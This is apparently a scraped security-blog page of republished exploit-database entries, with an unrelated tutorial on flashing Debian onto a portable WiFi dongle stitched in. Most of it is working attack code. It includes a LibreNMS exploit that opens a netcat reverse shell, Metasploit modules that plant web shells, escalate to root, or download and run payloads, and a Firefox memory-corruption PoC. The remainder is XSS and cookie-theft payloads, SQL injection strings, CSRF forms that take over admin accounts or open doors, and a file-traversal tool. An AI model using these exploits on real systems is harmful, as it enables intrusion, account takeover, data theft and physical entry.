#!/usr/bin/python
'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''
import requests
from urllib import urlencode
import sys
if len(sys.argv) != 5:
print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
sys.exit(0)
# target (user input)
target = sys.argv[1]
# cookies (user input)
raw_cookies = sys.argv[2]
# remote host to connect to
rhost = sys.argv[3]
# remote port to connect to
rport = sys.argv[4]
# hostname to use (change it if you want)
hostname = "dummydevice"
# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)
# request headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
}
# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
# print cookie
c = cookie.split("=")
cookies[c[0]] = c[1]
def create_new_device(url):
raw_request = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": payload,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
full_url = url + "/addhost/"
request_body = urlencode(raw_request)
# send the device creation request
request = requests.post(
full_url, data=request_body, cookies=cookies, headers=headers
)
text = request.text
if "Device added" in text:
print "[+] Device Created Sucssfully"
return True
else:
print "[-] Cannot Create Device"
return False
def request_exploit(url):
params = {
"id": "capture",
"format": "text",
"type": "snmpwalk",
"hostname": hostname
}
# send the payload call
request = requests.get(url + "/ajax_output.php",
params=params,
headers=headers,
cookies=cookies
)
text = request.text
if rhost in text:
print "[+] Done, check your nc !"
if create_new_device(target):
request_exploit(target)
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863592423
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 2018–15710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])
@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end
def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end
def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)
if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end
def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)
if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
all_files_uploaded = false
# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]
# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)
if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end
The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// Then if will crash here when dereferencing a controlled double value as pointer.
v11.a;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
When run, it produces a crash similar to the following:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x000025a3b99b26cb
-> 0x25a3b99b26cb: cmp qword ptr [rax], r11
0x25a3b99b26ce: jne 0x25a3b99b26dd
0x25a3b99b26d4: cmovne rax, rcx
0x25a3b99b26d8: jmp 0x25a3b99b26f4
Target 0: (js) stopped.
(lldb) reg read rax
rax = 0x4141414141414141
I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:
* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types
Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]
At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value
However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.
To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.
Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386
Below is the original sample triggered by my fuzzer:
// Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100
let v2 = 0;
v2 = 7;
const v4 = [13.37,13.37,13.37,13.37,13.37];
function v7(v8,v9) {
const v10 = v2 + v4;
v4[v10] = Object;
const v11 = v4.pop();
for (let v15 = 0; v15 < 100; v15++) {
}
}
v4.__proto__ = Object;
for (let v19 = 0; v19 < 100; v19++) {
const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0];
let v24 = Object;
v24.__proto__ = v23;
const v26 = String.fromCharCode(v19);
Object[0] = v26;
}
for (let v31 = 0; v31 < 100; v31++) {
const v32 = v7();
}
This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:
// Run with --no-threads for increased reliability
let ab = new ArrayBuffer(0x1000);
// Confuse these two types with each other below.
let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
let y = new Uint32Array(0x1000);
const v4 = [y, y, y, y, y];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = y;
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// It will then crash here when writing to a controlled address (0x414141414141).
v11[0] = 0x1337;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [y, y, y];
p[0] = x;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
/* Crashes as follows in Firefox 66.0.3:
(lldb) process attach --pid 12534
...
Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container".
(lldb) c
Process 12534 resuming
Process 12534 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141)
frame #0: 0x000037f56ae479bd
-> 0x37f56ae479bd: mov dword ptr [rcx + 4*rax], 0x1337
Target 0: (plugin-container) stopped.
(lldb) reg read rcx rax
rcx = 0x0000414141414141
rax = 0x0000000000000000
*/
The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/
I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons:
* There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered
* By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects
The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
# Google Dork: inurl:"wp-content/plugins/screets-lcx"
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: https://screets.com/
# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
# Version: 2.8.3
# Tested on: Windows 10 / Parrot OS
# CVE : -
Info:
Weak security measures like bad input field data filtering has been
discovered in the «Live Chat Unlimited». Current version of this
premium WordPress plugin is 2.8.3.
PoC:
Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter].
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
website.
Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
===========================================================================================
# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.
# Dork: N/A
# Date: 27-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489
# Version: v1.6
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business.
===========================================================================================
# POC - SQLi
# Parameters : eventType
# Attack Pattern :
-1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent
===========================================================================================
# Exploit Title: ZoneMinder 1.32.3 - Stored Cross Site Scripting (filters)
# Google Dork: None
# Date: 6/29/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://zoneminder.com
# Software Link: https://github.com/ZoneMinder/zoneminder/releases
# Version: 1.32.3
# Tested on: Ubuntu 16.04
# CVE : Pending
ZoneMinder 1.32.3 contains a stored cross site scripting vulnerability in the 'Filters' page. The 'Name' field used to create a new filter is not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Filters page.
The following curl command injects an alert(1) payload into the vulnerable field. The javascript is executed once a user visits the 'Filters' page.
curl -X POST -H "Content-type: application/x-www-form-urlencoded" -d "Id=&action=Save&object=filter&filter%5BName%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_field%5D=Id&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Blimit%5D=100&filter%5BAutoExecuteCmd%5D=0&filter%5BAutoMoveTo%5D=&Save=Save" --cookie "zmSkin=classic; zmCSS=classic; ZMSESSID=(A VALID SESSION ID)" http://(A VALID HOST)/zm/index.php?view=filter&sort_field=StartTime&sort_asc=1
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability",
'Description' => %q{
This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within
Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call
the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument.
The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either
of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit
this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b1ack0wl' # vuln discovery and exploit dev
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 60
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux Mint 18.3 and 19.1',
{
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DefaultTarget' => 0))
end
def generate_exploit_html()
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
@filename = rand_text_alpha(4)
cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
html = %Q|
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>paparoachfanclubdotcom</title>
</head>
<body>
<script>
lmao = document.createElement('a');
lmao.href= "ghelp://$(#{cmd_inj})";
document.body.appendChild(lmao); /* Needed to work with Firefox */
lmao.click();
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent =~ /curl\/\d/
# Command has been executed. Serve up the payload
exe_payload = generate_payload_exe()
print_status("Sending payload...")
send_response(cli, exe_payload)
register_file_for_cleanup("/tmp/#{@filename}")
return
else
html = generate_exploit_html()
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end
# Exploit Title: PowerPanel Business Edition - Stored Cross Site Scripting (SNMP trap receivers)
# Google Dork: None
# Date: 6/29/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://www.cyberpowersystems.com
# Version: 3.4.0
# Tested on: Ubuntu 16.04
# CVE : Pending
CyberPower PowerPanel Business Edition 3.4.0 contains a stored cross site scripting vulnerability. The fields used to configure SNMP trap receivers are not being properly sanitized. This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Event Action / Recipient page.
To demonstrate the vulnerability, create a file named 'xss.xml' with the following contents:
<?xml version="1.0" encoding="UTF-8" ?>
<ppbe>
<target>
<command>action.notification.trapRecipient.setup</command>
</target>
<inquire>
<trapRecipientSetup>
<action>ADD</action>
<trapRecipient>
<name><script>alert(1)</script></name>
<status>true</status>
<type>1</type>
<ipAddress>127.0.0.1</ipAddress>
<community>public</community>
</trapRecipient>
</trapRecipientSetup>
</inquire>
</ppbe>
Now execute the following curl command to submit a POST request with the contents of the 'xss.xml' file:
curl -X POST -H 'Content-type: text/xml' -d @xss.xml --cookie "JSESSIONID=(A VALID SESSION ID)" http://(A VALID HOST):3052/agent/ppbe.xml
Visiting the Event Action / Recipient page will execute the posted javascript code.
===========================================================================================
# Exploit Title: Varient 1.6.1 SQL Inj.
# Dork: N/A
# Date: 29-06-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://varient.codingest.com/
# Software Link: https://varient.codingest.com/
# Version: v1.6.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: the best news and magazine script
===========================================================================================
# POC - SQLi
# Parameters : user_id
# Attack Pattern :
%27)/**/oR/**/3211170=3211170/**/aNd/**/(%276199%27)=(%276199
# POST Method :
https://site.com/unpleasant-nor-diminution-excellence-apartments-imprudence?parent_id=0&post_id=66&name=9956574&comment=[COMMENT
HERE]7146048&user_id=99999999[SQL INJECT HERE]
===========================================================================================
Can you enter Debian with portable WIFI? That's right, there is nothing you can't do, only you can't imagine. Let’s take a look now! By inputting the debian system into the portable WiFi, we can install pagodas, build Ha, etc. And it doesn’t require much power consumption, it’s so pleasant to think about it!
Hardware introduction
In this article, we use the portable WiFi of Qualcomm 410 processor. Other types of portable WiFi may not be successfully flashed. Please confirm the model before purchasing.
Installing the driver
Before using, you can contact the merchant or download and install the driver according to the product name.
ADB debugging
In the flash package directory, execute the cmd command.
#Check the device connection status
adb.exe devices
#Enter Fastboot mode
adb.exe reboot bootloader
#Check whether to enter fastboot
fastboot.exe devices
Flashing
After the device enters Fastboot mode, we double-click to run the flash.bat file and automatically flash the machine throughout the process. Wait patiently for the flash to complete.
Equipment Information
After the flashing is completed, the device information is as follows:
WiFi: 4G UFI 123456 (password:12345678) IP: 192.168.68.1SSH: root (password:1)
Connection Test
Our connection WiFi is called 4G UFI 123456. Use SSH tools to connect.
Configure the network
Now we need to connect to WiFi at home. Turn off its transmit (AP) function. Because portable WiFi supports USB sharing network and WiFi network. (Note, don’t turn off WiFi first, otherwise you won’t be able to connect to your portable WiFi.) Configure the USB network to open the device manager and you will see the following devices.
Click Update Driver and select the second one.
Select USB Composite Device
After the update is completed, unplug the device again. The following situation will occur at this time.
We updated the same method, selected the network adapter, and selected it according to the figure below.
After completion, we can command ipconfig to check the network situation.
Turn off portable WiFi to connect to home WiFi
Execute the command nmtui in the terminal to start the graphical interface.
Return to the homepage and click Enable Network.
After selecting WiFi, enter your password to connect.
Installing the pagoda
For testing, I installed the pagoda here (it is not recommended to install because the space is too small)
Home Page
Effect Display
Finally, we find a charger head and plug it in the corner. A small portable server is ready.
Insufficient
The memory and disk capacity are relatively small. It should be fine to run the HA Ngingx three-piece set.
# Title: CyberPanel Administrator Account Takeover <= v1.8.4
# Date: 30.06.2019
# Author: Bilgi Birikim Sistemleri
# Vendor Homepage: https://cyberpanel.net/
# Version: Up to v1.8.4.
# CVE: CVE-2019-13056
# mturkyilmaz@bilgibirikim.com & bilgibirikim.com
# Description:
# Attacker can edit administrator's credentials like email, password.
# Then, access the administration panel and takeover the server.
# A CSRF vulnerability.
# How to Reproduce:
# Attacker will create a website,
# CyberPanel administrator will visit that website,
# Administrator's e-mail and password will be changed automatically.
# PoC:
<script>
fetch('https://SERVERIP:8090/users/saveModifications', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"attackersemail@example.org","password":"attackerspassword"}'});
</script>
FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery
Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
Firmware 5.7.2 build 568 (Algorithm A14)
Firmware 5.7.0 build 539 (Algorithm A14)
Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
Linux 3.4.113-sun8i (armv7l)
PHP/7.0.30-0ubuntu0.16.04.1
PHP/7.0.22-0ubuntu0.16.04.1
lighttpd/1.4.35
Armbian 5.38
Sunxi Linux (sun8i generation)
Orange Pi PC +
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5524
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php
28.05.2019
--
CSRF change administrator password:
-----------------------------------
<html>
<body>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/personalSetting.php" method="POST">
<input type="hidden" name="strInAction" value="updateUser" />
<input type="hidden" name="strInUserID" value="administrator" />
<input type="hidden" name="isChangePwd" value="1" />
<input type="hidden" name="strInLanguage" value="Eng" />
<input type="hidden" name="strInPassword" value="t00tw00t />
<input type="hidden" name="strInConfirmPassword" value="t00tw00t" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
CSRF add admin:
---------------
<html>
<body>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/userList.php?" method="POST">
<input type="hidden" name="strInAction" value="addUser" />
<input type="hidden" name="strInUserID" value="Testinugs" />
<input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" />
<input type="hidden" name="strInDescription" value="CSRFd" />
<input type="hidden" name="strInLanguage" value="Eng" />
<input type="hidden" name="strInPassword" value="123123" />
<input type="hidden" name="strInConfirmPassword" value="123123" />
<input type="hidden" name="strInStatus" value="Active" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
Change administrator password via different path:
-------------------------------------------------
<html>
<body>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/userList.php?" method="POST">
<input type="hidden" name="strInAction" value="updateUser" />
<input type="hidden" name="strInPageNo" value="0" />
<input type="hidden" name="strInUserID" value="administrator" />
<input type="hidden" name="isChangePwd" value="1" />
<input type="hidden" name="strInDescription" value="Default Sys. Admin" />
<input type="hidden" name="strInUserFunctionPermissionGroupID" value="Admin" />
<input type="hidden" name="strInLanguage" value="Eng" />
<input type="hidden" name="strInStatus" value="Active" />
<input type="hidden" name="strInPassword" value="123456" />
<input type="hidden" name="strInConfirmPassword" value="123456" />
<input type="hidden" name="strEditPageNo" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
Add special card:
-----------------
<html>
<body>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/specialCard.php?" method="POST">
<input type="hidden" name="strInSpecialCardID" value="deadbeef" />
<input type="hidden" name="strInSpecialCardStatus" value="" />
<input type="hidden" name="strInSpecialCardEnrollHigh" value="1" />
<input type="hidden" name="strInSpecialCardEnrollLow" value="1" />
<input type="hidden" name="strInSpecialCardRescue" value="1" />
<input type="hidden" name="strInSpecialCardOpenDoor" value="1" />
<input type="hidden" name="strInSpecialCardReboot" value="1" />
<input type="hidden" name="strInSpecialCardShutDown" value="1" />
<input type="hidden" name="strInAction" value="addNewSpecialCard" />
<input type="hidden" name="strInPageNo" value="0" />
<input type="hidden" name="strEditPageNo" value="" />
<input type="hidden" name="strInNewSpecialCard" value="deadbeef" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
CSRF open door 0:
-----------------
<html>
<body>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/openDoor.php?" method="POST">
<input type="hidden" name="strInAction" value="openDoor" />
<input type="hidden" name="strInPageNo" value="0" />
<input type="hidden" name="strInRestartAction" value="" />
<input type="hidden" name="strPanelIDRestart=" value="" />
<input type="hidden" name="strPanelRestartAction" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
# Exploit Title: Sahi pro (8.x) Directory traversal
# Date: 2019-06-25
# Exploit Author: Operat0r
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 8.0
# Tested on: Linux Ubuntu / Windows 7
# CVE: CVE-2019-13063
An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.
POC -
http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt
This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system
POC tool -
import argparse, requests, os
#sahi_productkey = '/config/productkey.txt'
#root_dir = '../../../../../../'
#vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="
print("[x] Proof of concept tool to exploit the directory traversal and local file"
" inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")
print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")
parser = argparse.ArgumentParser()
parser.add_argument("--url",
help='Specify the vulnerable URL')
args = parser.parse_args()
response = requests.get(args.url)
file = open("output.txt", "w")
file.write(response.text)
file.close()
# Exploit Title: [Sensitive Information Disclosure in SAP Crystal Reports]
# Date: [2019-04-10]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=517899114]
# Version: [SAP Crystal Reports for Visual Studio, Version - 2010] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2019-0285]
POC:
1- Intercept the "Export" report http request
2- Copy the "__CRYSTALSTATE" + <crystal report user control> Viewer name parameter value.
3- You will find a base64 value in "viewerstate" attribute.
4- decode the value you will get database information such as: name, credentials, Internal Path disclosure and some debugging information.
FaceSentry Access Control System 6.4.8 Remote Command Injection
Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
